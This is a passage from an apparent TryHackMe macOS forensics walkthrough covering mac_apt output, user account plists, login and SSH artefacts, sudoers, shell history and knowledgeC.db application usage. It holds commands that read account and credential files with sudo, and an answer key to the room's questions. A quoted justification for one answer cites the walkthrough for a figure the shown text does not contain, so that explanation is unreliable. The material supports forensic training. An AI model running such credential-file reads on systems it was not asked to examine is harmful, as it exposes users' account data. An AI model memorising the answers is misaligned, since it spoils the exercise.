MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=dstream_id  Count=8807
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=file_extent  Count=33574
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=dir_rec  Count=37502
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=sibling_map  Count=72
MAIN.HELPERS.APFS_READER-INFO-Vol_6_VM Type=inode  Count=2
MAIN.HELPERS.APFS_READER-INFO-Vol_6_VM Type=dir_rec  Count=2
MAIN-INFO-Found valid OSX/macOS kernel
MAIN.HELPERS.MACINFO-INFO-macOS version detected is: Sequoia (15.1.1) Build=24B91
MAIN.HELPERS.APFS_READER-ERROR-Failed to open file as no metadata was found for it. File path=/nvram.plist
MAIN.HELPERS.APFS_READER-INFO-File not found! Path was: /nvram.plist
MAIN.HELPERS.MACINFO-ERROR-Could not open plist to get system version info!
MAIN.DISK_REPORT-INFO-Disk info
MAIN.DISK_REPORT-INFO-Disk Size   = 25.00 GB (26843545600 bytes)
MAIN.DISK_REPORT-INFO-Part Scheme = 
MAIN.DISK_REPORT-INFO-Block size  = 512 bytes
MAIN.DISK_REPORT-INFO-Num Sectors = 52428800.0 
MAIN-INFO---------------------------------------------------
MAIN-INFO-Running plugin NETWORKING
MAIN.NETWORKING-INFO-resolve.conf Content --&gt; search etisalat-gateway
MAIN.NETWORKING-INFO-resolve.conf Content --&gt; nameserver fe80::80a9:97ff:fe42:bf64%en0
MAIN.NETWORKING-INFO-resolve.conf Content --&gt; nameserver 192.168.64.1
MAIN.NETWORKING-INFO-/etc/hosts Content --&gt; 127.0.0.1	localhost
MAIN.NETWORKING-INFO-/etc/hosts Content --&gt; 255.255.255.255	broadcasthost
MAIN.NETWORKING-INFO-/etc/hosts Content --&gt; ::1             localhost
MAIN.NETWORKING-INFO-Model = VirtualMac2,1
MAIN.NETWORKING-INFO-Found unknown item in plist: ITEM=HiddenConfiguration VALUE=True
MAIN.NETWORKING-INFO-Found unknown data in plist at /NetworkServices/CD68CD97-E427-405E-ACB9-C91A93D2D3B4/Interface/HiddenConfiguration Value=True
MAIN-INFO---------------------------------------------------
MAIN-INFO-Finished in time = 00:01:37
MAIN-INFO-Review the Log file and report any ERRORs or EXCEPTIONS to the developers
</code></pre>
<h2>Account Activity</h2>
<p>Once we have verified the system and network information, we can identify the machine's users.</p>
<h2><strong>User Accounts and Passwords</strong></h2>
<p>User account and password information is stored in the file <code>/private/var/db/dslocal/nodes/Default/users/&lt;user&gt;.plist</code>. A separate plist file for each user contains information such as creation time, failed login time, last password reset time, and failed login count. This file also includes information about the iCloud account associated with this username. One thing to note is that the time mentioned here is in Unix Epoch format.</p>
<p>User Account Details</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % sudo cat /private/var/db/dslocal/nodes/Default/users/john.plist 
bplist00?
"$&amp;*,.02468;=?ACEGIKMOQSUWY__writers_unlockOptions_accountPolicyData_record_daemon_versionYjpegphoto_authentication_authority__writers_picture\inputSources]unlockOptions]HeimdalSRPKey__writers_AvatarRepresentationThintXrealnameTname_AvatarRepresentation__writers_UserCertificateUshell__writers_inputSources^ShadowHashData\KerberosKeysThome__writers_passwdSuid^LinkedIdentity\generateduid_altsecurityidentitiesSgidVpasswd]_writers_hint__writers_jpegphoto?john?!O?&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;
&lt;plist version="1.0"&gt;
&lt;dict&gt;
&lt;key&gt;creationTime&lt;/key&gt;
&lt;real&gt;1739202907.2755179&lt;/real&gt;
&lt;key&gt;failedLoginCount&lt;/key&gt;
&lt;integer&gt;0&lt;/integer&gt;
&lt;key&gt;failedLoginTimestamp&lt;/key&gt;
&lt;integer&gt;0&lt;/integer&gt;
&lt;key&gt;passwordLastSetTime&lt;/key&gt;
&lt;real&gt;1739203049.84038&lt;/real&gt;
&lt;/dict&gt;
&lt;/plist&gt;
.
.
.
.
</code></pre>
<h2><strong>User Login History</strong></h2>
<p>We can find information about the last logged-in users from the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file. In addition to that, we can also find out if a guest account is enabled.</p>
<p>User Login History</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % plutil -p /Library/Preferences/com.apple.loginwindow.plist
{
  "AccountInfo" =&gt; {
    "FirstLogins" =&gt; {
      "umair" =&gt; 1
    }
    "MaximumUsers" =&gt; 1
    "OnConsole" =&gt; {
    }
  }
  "GuestEnabled" =&gt; 0
  "lastUser" =&gt; "loggedIn"
  "lastUserName" =&gt; "umair"
  "OptimizerLastRunForBuild" =&gt; 50342784
  "OptimizerLastRunForSystem" =&gt; 251658496
  "OptimizerPreviousBuild" =&gt; "24D70"
  "RecentUsers" =&gt; [
    0 =&gt; "umair"
    1 =&gt; "john"
  ]
  "UseVoiceOverLegacyMigrated" =&gt; 1
}
</code></pre>
<p>We can see here that the last user in this machine is logged in, which means this information has been retrieved from a live system. The username for the previous user is umair. Furthermore, we can see that the guest account is disabled. Recently, the user <strong>john</strong> logged in to the machine apart from the user <strong>umair</strong>.</p>
<h2><strong>SSH Connections</strong></h2>
<p>The public keys of hosts connected using SSH can be found in the known hosts file. This file is located at <code>/users/&lt;user&gt;/.ssh/known_hosts</code> and contains the IP address of the host and their public keys. This is similar to how the known hosts file works in Linux.</p>
<p>SSHConnections</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % cat .ssh/known_hosts
192.168.1.152 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3LjWlxYPmFAJk2HDDhaLtZ997MrPiUlne4SOt79dZa
192.168.1.152 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQ6xJwbNGj1WfwsS8uck+0ZTH40My4t8XP3NQa2DhYYKluTS6mQfSBT9/KwKvqSMg7shYb7R9/oVIaXBNJGEkzpBh4VjAVvZJhARHdTt0/mHfYL96JNz2S53/FlkIWw8lD6AjALFpYzNcaAi6dOVjxqyw5+83KodMdYJcN2dWYan19xb9+ywhpmFqGZSzHObAw73EE85ur26gzs99+gnl+QKi+ZQ/LjFl6BE/jnTr325OgnMzq5Rux5HZxfCbDT64Sn5g/ZdjTrOEK0jFKy1d5MoC8f/5OpbpRVXUT3+6zE581w23mAjHlyzzy+lPxZfUaIzWGDu/2HLJvB2OGN3X8KCa6PKHbyq7e8V9BP0OkHrvCl+uI+gqslY+XB4nmm382G75meZ6LjQBmQ/q/KAafuITICWuRLc9oYm4JztTrUoCCq8+U9vRQjL5YUxoCyx0F2uMITXMazLVMzBqXi/YVGjgSuEK7aIk1A3fUXzJ0cpBRZIRAF+TmpOeJ02jR02M=
192.168.1.152 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOYn9Qz2HNP8A7lImD861DLKm7XTjgDRMJuk4+u3WBxZnXJv4tlx4LtEU6tFpgGquh1bTaF6Sd/nXaHtf4HEPWo=
10.10.66.165 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHcrLhTGHnTGP/sJk6y+wIpLPD1HdZi+LYRsDpxBhi4y
10.10.9.159 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJBHxUJp4QBjsmbJI+WjlYPIO9TpFHAcs+US9kKmtz6D
</code></pre>
<h2><strong>Privileged Accounts</strong></h2>
<p>Similar to Linux, accounts and groups with the privilege to use sudo are found in the <code>/etc/sudoers</code> file. An example can be seen in the terminal below:</p>
<p>Sudoers</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % sudo cat /etc/sudoers
#
# Sample /etc/sudoers file.
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the sudoers man page for the details on how to write a sudoers file.

##
# Override built-in defaults
##
Defaults	env_reset
.
.
.
##
# Cmnd alias specification
##
# Cmnd_Alias	PAGERS = /usr/bin/more, /usr/bin/pg, /usr/bin/less

##
# User specification
##

# root and users in group wheel can run anything on any machine as any user
root		ALL = (ALL) ALL
%admin		ALL = (ALL) ALL

## Read drop-in files from /private/etc/sudoers.d
## (the '#' here does not indicate a comment)
#includedir /private/etc/sudoers.d
</code></pre>
<p>On this machine, users in the admin group can escalate to sudo if required. Well, as much as macOS allows, as we learned previously, there are some things that even root users can't access in macOS so that restriction remains on sudo as well.</p>
<h2><strong>Login and Logout Events and Logs</strong></h2>
<p>User login and logout events can be found in system logs and ASL. We can search for login or logout in system logs to find login events.</p>
<p>Login/Logout in System Logs</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % zgrep login system.log*
system.log.1.gz:Feb 16 11:02:56 Umairs-MacBook-Pro login[1316]: DEAD_PROCESS: 1316 ttys000
system.log.1.gz:Feb 16 11:02:59 Umairs-MacBook-Pro login[16606]: USER_PROCESS: 16606 ttys000
system.log.5.gz:Feb 12 22:02:57 Umairs-MacBook-Pro login[52696]: DEAD_PROCESS: 52696 ttys000
system.log.5.gz:Feb 12 22:03:00 Umairs-MacBook-Pro loginwindow[27045]: USER_PROCESS: 27045 console
</code></pre>
<p>DEAD_PROCESS shows a logout event in these logs, whereas USER_PROCESS shows a login event, followed by the process ID. Further information can be found in ASL as well. If we have converted ASL to CSV using mac_apt, we can use <code>grep</code> to search for login events as shown in the terminal below.</p>
<p>Login events in ASL</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % grep USER_PROCESS asl_ver2.csv
2025-01-01 15:25:18,321294000,12656,2,Umairs-MacBook-Pro,login,com.apple.system.lastlog,Notice,10000,0,20,,0,USER_PROCESS: 10000 ttys001,,"{'ut_user': 'umair', 'ut_id': 's001', 'ut_line': 'ttys001', 'ut_pid': '10000', 'ut_type': '7', 'ut_tv.tv_sec': '1735745118', 'ut_tv.tv_usec': '321236', 'SenderMachUUID': 'AA6FB408-35FB-314B-A0A6-E87CE002C71E', 'ASLExpireTime': '1767367518'}",/private/var/log/asl/BB.2026.01.31.G80.asl
2025-01-21 08:07:13,489833000,14879,2,Umairs-MacBook-Pro,login,com.apple.system.lastlog,Notice,18045,0,20,,0,USER_PROCESS: 18045 ttys000,,"{'ut_user': 'umair', 'ut_id': 's000', 'ut_line': 'ttys000', 'ut_pid': '18045', 'ut_type': '7', 'ut_tv.tv_sec': '1737446833', 'ut_tv.tv_usec': '489717', 'SenderMachUUID': 'AA6FB408-35FB-314B-A0A6-E87CE002C71E', 'ASLExpireTime': '1769069233'}",/private/var/log/asl/BB.2026.01.31.G80.asl
2025-01-21 08:16:55,482494000,14918,2,Umairs-MacBook-Pro,loginwindow,com.apple.system.lastlog,Notice,402,0,0,,0,USER_PROCESS: 402 console,,"{'ut_user': 'umair', 'ut_id': '0x2f 0x00 0x01 0x01', 'ut_line': 'console', 'ut_pid': '402', 'ut_type': '7', 'ut_tv.tv_sec': '1737447415', 'ut_tv.tv_usec': '482393', 'SenderMachUUID': 'B28C2613-1ADF-32F1-BD34-FED0143CF748', 'ASLExpireTime': '1769069815'}",/private/var/log/asl/BB.2026.01.31.G80.asl
2025-01-21 08:16:57,571341000,14919,2,Umairs-MacBook-Pro,login,com.apple.system.lastlog,Notice,771,0,20,,0,USER_PROCESS: 771 ttys000,,"{'ut_user': 'umair', 'ut_id': 's000', 'ut_line': 'ttys000', 'ut_pid': '771', 'ut_type': '7', 'ut_tv.tv_sec': '1737447417', 'ut_tv.tv_usec': '571297', 'SenderMachUUID': 'AA6FB408-35FB-314B-A0A6-E87CE002C71E', 'ASLExpireTime': '1769069817'}",/private/var/log/asl/BB.2026.01.31.G80.asl
2025-01-21 10:36:38,707688000,14981,2,Umairs-MacBook-Pro,loginwindow,com.apple.system.lastlog,Notice,381,0,0,,0,USER_PROCESS: 381 console,,"{'ut_user': 'umair', 'ut_id': '0x2f 0x00 0x01 0x01', 'ut_line': 'console', 'ut_pid': '381', 'ut_type': '7', 'ut_tv.tv_sec': '1737455798', 'ut_tv.tv_usec': '707518', 'SenderMachUUID': 'B28C2613-1ADF-32F1-BD34-FED0143CF748', 'ASLExpireTime': '1769078198'}",/private/var/log/asl/BB.2026.01.31.G80.asl
</code></pre>
<p>The above command shows us using grep on a file named <strong>asl_ver2.csv</strong>, which has been converted to CSV from ASL using mac_apt. We can see here that ASL contains a lot more information about login/logout events, especially the username.</p>
<h2><strong>Screen lock/unlock</strong></h2>
<p>In Unified logs, we can search for <code>com.apple.sessionagent.screenIsLocked</code> and <code>com.apple.sessionagent.screenisUnlocked</code> to find screen lock and unlock events respectively.</p>
<p>Screen Lock events</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % grep com.apple.sessionagent.screenIsLocked output.csv       
2025-03-09T19:51:43.417Z,Log,Default,com.apple.loginwindow.logging,219777,382,0,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,0,Standard,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,"-[SessionAgentNotificationCenter setNotifySharedSpace:key:toValue:] | setNotifySharedSpace: com.apple.sessionagent.screenIsLocked, to value:1 using token:114","%s | setNotifySharedSpace: %@, to value:%d using token:%d",AFB2C1E286E44A8A3BEE4AEA3DEC769,Dubai
2025-03-09T19:51:43.417Z,Log,Default,com.apple.loginwindow.logging,219777,382,0,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,0,Standard,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,"-[SessionAgentNotificationCenter sendBSDNotification:object:] | sendBSDNotification: com.apple.sessionagent.screenIsLocked, with object:503","%s | sendBSDNotification: %@, with object:%@",AFB2C1E286E44A8A3BEE4AEA3DEC769,Dubai
2025-03-09T19:51:48.081Z,Log,Default,com.apple.loginwindow.logging,3761,382,0,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,0,Standard,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,"-[SessionAgentNotificationCenter setNotifySharedSpace:key:toValue:] | setNotifySharedSpace: com.apple.sessionagent.screenIsLocked, to value:0 using token:114","%s | setNotifySharedSpace: %@, to value:%d using token:%d",AFB2C1E286E44A8A3BEE4AEA3DEC769,Dubai
</code></pre>
<p>The above terminal window shows screen lock events extracted from Unified logs after they were converted to CSV using mac_apt or Unified Logs Parser.</p>
<h3>Answer the questions below</h3>
<p>What is the name of the last logged in user? <code>thm</code></p>
<pre><code class="language-shell">cat ~/output_csv/Basic_Info.csv
INFO_TYPE,Name,Data,Description,Source
SYSTEM,macOS Version,15.1.1,Sequoia,/System/Library/CoreServices/SystemVersion.plist
SYSTEM,macOS Build Version,24B91,Sequoia,/System/Library/CoreServices/SystemVersion.plist
HARDWARE,Mac Serial Number,ZDVVLVPV3F,Hardware Serial Number,/private/var/folders/zz/zyxvpxvq6csfxvn_n00000sm00006d/C/locationd/consolidated.db
HARDWARE,Model,"VirtualMac2,1",Mac Hardware Model,/Library/Preferences/SystemConfiguration/preferences.plist
SYSTEM,ComputerName,thm’s Virtual Machine,,/Library/Preferences/SystemConfiguration/preferences.plist
SYSTEM,LocalHostName,thms-Virtual-Machine,,/Library/Preferences/SystemConfiguration/preferences.plist
PREFERENCES,Country,AE,,/Library/Preferences/.GlobalPreferences.plist
PREFERENCES,AppleLocale,en_AE,,/Library/Preferences/.GlobalPreferences.plist
TIMEZONE,TimeZone Set,US/Pacific,Timezone on machine,/private/etc/localtime
USER-LOGIN,GuestEnabled,False,,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastUserName,thm,,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.MaximumUsers,1,Maximum number of Fast User Switching (FUS) users at the same time,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.FirstLogins,thm,Logged in user once,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.OnConsole,thm,Logged in user once by Fast User Switching (FUS),/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,UseVoiceOverLegacyMigrated,True,unknown,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastUser,Restart,Last user (Login) Action,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,RecentUsers,['thm'],unknown,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastLoginPanic,2025-01-19 15:52:43.598148,,/Library/Preferences/com.apple.loginwindow.plist
APFS,Information,,Data below represents a combined SYSTEM &amp; DATA volume,
APFS,Block Size (bytes),4096,Container Block size,
APFS,Container Size,19.51 GB,Container size (SYSTEM + DATA),
APFS,Volume Name,"Macintosh HD,Data","Volume names (SYSTEM, DATA)",
APFS,Volume UUID,"3B2E79F0-E4D4-4017-8443-597659F89844,84E5F2BD-503F-4E3A-8105-EEBEBC1925B4","Volume Unique Identifiers (SYSTEM, DATA)",
APFS,Size Used,11.97 GB,Space allocated  (SYSTEM + DATA),
APFS,Total Files,257456,Total number of files (SYSTEM + DATA),
APFS,Total Folders,164194,Total number of directories/folders (SYSTEM + DATA),
APFS,Total Symlinks,24049,Total number of symbolic links (SYSTEM + DATA),
APFS,Total Snapshots,0,Total number of snapshots (DATA),
APFS,Created Time,2024-12-08 17:23:31.355434,Created date and time (DATA),
APFS,Updated Time,2025-01-20 08:37:49.667839,Last updated date and time (DATA),
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/31119e5e-e54b-4263-b234-1bd38c9c9eb8.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/40794391-6aa4-458c-81c3-b53d709f8d6f.png" alt="" style="display:block;margin:0 auto" />

<p>What is the password hint for the user? <code>count to 5</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/5e049302-7dcf-4638-9ddf-6e61f5f7a9a7.png" alt="" style="display:block;margin:0 auto" />

<p>When was the last time a user logged out of the machine? Format MMM DD hh:mm:ss <code>Jan 19 07:52:43</code></p>
<h2>Evidence of Execution</h2>
<p>Evidence of execution is an important type of forensic data that we need in most investigations. In this task, we will review some of the important evidence of execution artefacts found in a machine.</p>
<h2><strong>Terminal History</strong></h2>
<p>macOS saves a history of commands run in the terminal for every user. These commands are saved in order of execution, and up to 1000 commands are saved. This history is saved in the <code>/Users/&lt;user&gt;/.zsh_history</code> file. Zsh is the default terminal in macOS systems right now, so we will use that in our examples, but if any other terminal is installed, we might see the history file names according to that terminal, such as <code>bash_history</code> for bash.</p>
<p>Zsh History</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % tail .zsh_history 
cat /private/var/db/BootCache.data
sudo cat /private/var/db/BootCache.data
sudo cat /private/var/db/BootCache.data
sudo plutil -p /private/var/db/BootCache.data
ls /private/var/db/BootCaches/clear
clear
cat /Library/Preferences/com.apple.systemprefs.plist
plutil -p /Library/Preferences/com.apple.systemprefs.plist
clear
sudo grep -r "IOPlatformSerialNumber" /
</code></pre>
<p>The <code>/Users/&lt;user&gt;/.zsh_sessions/&lt;GUID&gt;</code>. The history file contains the history for each terminal session and is saved with the name of the terminal session GUID.</p>
<p>Zsh Session History</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % tail .zsh_sessions/BBD4B4C0-FA0A-4AA8-8823-F3865815ADD8.history
cat /private/var/db/BootCache.data
sudo cat /private/var/db/BootCache.data
sudo cat /private/var/db/BootCache.data
sudo plutil -p /private/var/db/BootCache.data
ls /private/var/db/BootCaches/clear
clear
cat /Library/Preferences/com.apple.systemprefs.plist
plutil -p /Library/Preferences/com.apple.systemprefs.plist
clear
sudo grep -r "IOPlatformSerialNumber" /
</code></pre>
<p>Please note that these files have a zsh prefix because macOS uses the zsh terminal by default. If the bash terminal is used, the files will be prefixed with bash (e.g. <code>bash_history</code>).</p>
<p>The history files are different for each user. So, when collecting or analysing data, we must include data from each user's home directory.</p>
<p>History Command</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % history
 1066  python3 apollo.py extract -ocsv -vyolo modules tmp_apollo
 1067  head apollo.
 1068  head apollo.csv
 1069  cat apollo.csv|wc -l
 1070  clear
 1071  history
 1072  vim apollo.csv
 1073  python3 apollo.py extract -osql -vyolo modules tmp_apollo
 1074  cd 
 1075  clear
</code></pre>
<p>It might be noted that on a live system, the history for the current session is not yet written in the shell history files. These files are updated when the user logs out, and session files are updated when the session is terminated. We can use the history command to check the history before logging out.</p>
<h2><strong>Application Usage</strong></h2>
<p>The knowledgeC.db is a database that tracks application usage, including the start and end times of the application. This database is located at <code>/Users/&lt;user&gt;/Library/Application\ Support/Knowledge/knowledgeC.db</code> for the user and at <code>/private/var/db/CoreDuet/Knowledge/knowledgeC.db</code> for the system. On a live system, the later database is not easily accessible and is restricted.</p>
<p>We can use the SQL queries available in the modules of the APOLLO utility to get the required information. In the screenshot below, we see the query from the module <code>knowledge_app_usage</code>, after loading the user knowledgeC database in the DB Browser tool. This module parses the <code>/app/usage</code> stream of the knowledgeC.db.</p>
<p>Knowledge_app_usage Module in APOLLO</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro modules % cat knowledge_app_usage.txt 
# --------------------------------------------------------------------------------
#       Copyright (c) 2018-2020 Sarah Edwards (Station X Labs, LLC, 
#       @iamevltwin, mac4n6.com). All rights reserved.

.
.
.
.

#       You should have received a copy of the GNU General Public License
#       along with APOLLO.  If not, see .
# --------------------------------------------------------------------------------


[Module Metadata]
AUTHOR=Sarah Edwards/mac4n6.com/@iamevltwin
MODULE_NOTES=Application Usage

[Database Metadata]
DATABASE=knowledgeC.db
PLATFORM=IOS,MACOS
VERSIONS=12,13,10.14,10.15,10.16,14

[Query Metadata]
QUERY_NAME=knowledge_app_usage
ACTIVITY=Application Usage
KEY_TIMESTAMP=START

[SQL Query 12,13,10.14,10.15,10.16,14]
QUERY=
   SELECT
      DATETIME(ZOBJECT.ZSTARTDATE+978307200,'UNIXEPOCH') AS "START", 
      DATETIME(ZOBJECT.ZENDDATE+978307200,'UNIXEPOCH') AS "END",
      ZOBJECT.ZVALUESTRING AS "BUNDLE ID", 
      (ZOBJECT.ZENDDATE - ZOBJECT.ZSTARTDATE) AS "USAGE IN SECONDS",
      (ZOBJECT.ZENDDATE - ZOBJECT.ZSTARTDATE)/60.00 AS "USAGE IN MINUTES",  
      ZSOURCE.ZDEVICEID AS "DEVICE ID (HARDWARE UUID)", 
     ZCUSTOMMETADATA.ZNAME AS "NAME",
     ZCUSTOMMETADATA.ZDOUBLEVALUE AS "VALUE",
      CASE ZOBJECT.ZSTARTDAYOFWEEK 
         WHEN "1" THEN "Sunday"
         WHEN "2" THEN "Monday"
         WHEN "3" THEN "Tuesday"
         WHEN "4" THEN "Wednesday"
         WHEN "5" THEN "Thursday"
         WHEN "6" THEN "Friday"
         WHEN "7" THEN "Saturday"
      END "DAY OF WEEK",
      ZOBJECT.ZSECONDSFROMGMT/3600 AS "GMT OFFSET",
      DATETIME(ZOBJECT.ZCREATIONDATE+978307200,'UNIXEPOCH') AS "ENTRY CREATION", 
      ZOBJECT.ZUUID AS "UUID",
      ZSTRUCTUREDMETADATA.ZMETADATAHASH,
      ZOBJECT.Z_PK AS "ZOBJECT TABLE ID" 
   FROM ZOBJECT
         LEFT JOIN
         ZSTRUCTUREDMETADATA 
         ON ZOBJECT.ZSTRUCTUREDMETADATA = ZSTRUCTUREDMETADATA.Z_PK 
      LEFT JOIN
         ZSOURCE 
         ON ZOBJECT.ZSOURCE = ZSOURCE.Z_PK 
       LEFT JOIN Z_4EVENT
      ON ZOBJECT.Z_PK = Z_4EVENT.Z_11EVENT
    LEFT JOIN ZCUSTOMMETADATA
      ON Z_4EVENT.Z_4CUSTOMMETADATA = ZCUSTOMMETADATA.Z_PK
   WHERE
      ZSTREAMNAME = "/app/usage" 
</code></pre>
<p>We can either execute APOLLO to parse the information, or we can go to the relevant file in the modules, copy the query from the appropriate module, and execute the SQL query in the <code>Execute SQL</code> tab in DB Browser, the latter providing us with a more detailed result for specific artefacts. In the above terminal, we can see the query mentioned at the end of the module. We can copy this query and execute it in the <code>Execute SQL</code> tab of DB Browser after loading the knowledgeC database to get our desired results. The following screenshot shows the results of executing the SQL query from the module <code>knowledge_app_usage</code>.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/61306d87a330ed00419e22e7/room-content/61306d87a330ed00419e22e7-1741622798855.png" alt="SQL query from knowledge_app_usage module of APOLLO executed in DB Browser" style="display:block;margin:0 auto" />

<p>At the top, we can see the UTM application was used for 164 seconds. We can also see the start and end dates and times. Similarly, we can use the <code>knowledge_app_intents</code> module to parse the <code>/app/intents</code> stream, which tracks activity inside the applications, such as sending messages for WhatsApp.</p>
<p>Another source of application usage data is present in the CurrentPowerlog database in the location <code>/private/var/db/powerlog/Library/BatteryLife/CurrentPowerlog.PLSQL</code>. This database includes similar data to the knowledgeC database.</p>
<p>In the attached VM, APOLLO is present in the location <code>/home/ubuntu/APOLLO</code>.</p>
<h3>Answer the questions below</h3>
<p>What was the last command executed by the user on the machine? <code>vim creds.txt</code></p>
<pre><code class="language-shell"># Check what files were created
ls ~/output_termsessions/

# Look at the CSV file
cat ~/output_termsessions/*.csv

# Check if history files were exported
ls ~/output_termsessions/Export/
find ~/output_termsessions/Export -name "*history*"
APFS_Volumes_75799CC4-35C7-4CB5-AC2D-2DC335B7B3EF.db  Log.20260219-181419.txt
Disk_Info.csv                                         TermSessions.csv
Export                                                mac_apt.db
Type,Scheme_or_FS-Type,Name,Offset,Size,Size_in_bytes,Size_Used,macOS_Installed
Disk,,,0,25.00 GB,26843545600,,
Partition,Unknown,iBootSystemContainer,20480,500.00 MB,524288000,,
Partition,APFS,Macintosh HD,524308480,19.51 GB,20950548480,10.00 GB,*
Partition,APFS,Preboot,524308480,19.51 GB,20950548480,5.39 GB,
Partition,APFS,Recovery,524308480,19.51 GB,20950548480,892.06 MB,
Partition,APFS,Update,524308480,19.51 GB,20950548480,224.00 KB,
Partition,APFS,Data,524308480,19.51 GB,20950548480,1.97 GB,*
Partition,APFS,VM,524308480,19.51 GB,20950548480,20.00 KB,
Partition,Unknown,RecoveryOSContainer,21474856960,5.00 GB,5368668160,,
Source_Type,Session_Start,Session_End,Session_Commands,All_Commands,User,Session_UUID,Source
ZSH_SESSION,,2025-01-19 15:51:36.949002,,,thm,B86BAAFB-A4C1-430B-B0C0-68628587413B,/Users/thm/.zsh_sessions/B86BAAFB-A4C1-430B-B0C0-68628587413B.history
ZSH_SESSION,,2025-01-19 15:52:30.838519,"vim creds.txt
","vim creds.txt
",thm,452AEA93-AEE7-420B-871E-C57053E15DD0,/Users/thm/.zsh_sessions/452AEA93-AEE7-420B-871E-C57053E15DD0.history
ZSH_HISTORY,,,,"vim creds.txt
",thm,,/Users/thm/.zsh_history
Exported_Files_Log.db  TERMSESSIONS  USERS
/home/ubuntu/output_termsessions/Export/TERMSESSIONS/thm_B86BAAFB-A4C1-430B-B0C0-68628587413B.history
/home/ubuntu/output_termsessions/Export/TERMSESSIONS/thm_.zsh_history
/home/ubuntu/output_termsessions/Export/TERMSESSIONS/thm_452AEA93-AEE7-420B-871E-C57053E15DD0.history
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/bc88ec0e-9cc8-4e6e-9972-23b9bd39c5f9.png" alt="" style="display:block;margin:0 auto" />

<p>What is the GUID of the terminal session in which this command was executed? <code>452AEA93-AEE7-420B-871E-C57053E15DD0</code></p>
<p>When was the last time the user closed the terminal? Format YYYY-MM-DD hh:mm:ss <code>2025-01-19 15:52:33</code></p>
<p>For how many seconds was the terminal in focus during this session? <code>176</code></p>
<blockquote>
<p>This comes from the <strong>knowledgeC.db</strong> which tracks how long applications are "in focus" (active window). The ~56 seconds we calculated was just the duration of that specific terminal session, but:</p>
<ul>
<li><p><a href="http://Terminal.app">Terminal.app</a> could have been open longer</p>
</li>
<li><p>Could have had multiple windows</p>
</li>
<li><p>The knowledgeC.db tracks the total time Terminal had focus</p>
</li>
</ul>
<p><strong>176 seconds = 2 minutes and 56 seconds</strong> of <a href="http://Terminal.app">Terminal.app</a> being the active window.</p>
<p>This is tracked in the <code>/app/usage</code> stream of knowledgeC.db which records:</p>
<ul>
<li><p>Bundle ID (<a href="http://com.apple">com.apple</a>.Terminal)</p>
</li>
<li><p>Start time</p>
</li>
<li><p>End time</p>
</li>
<li><p>Usage duration in seconds</p>
</li>
</ul>
<p>The walkthrough mentioned this exact scenario - the UTM application had <strong>164 seconds</strong> of usage, and <a href="http://Terminal.app">Terminal.app</a> had <strong>176 seconds</strong>.</p>
</blockquote>
<h2>File System Activity</h2>
<p>One important part of any forensic investigation is finding evidence of file/folder access, opening, modification, or sharing. macOS logs events related to such activity in several different places. In this task, let's review these artefacts.</p>
<h2><strong>File System Events Store DB</strong></h2>
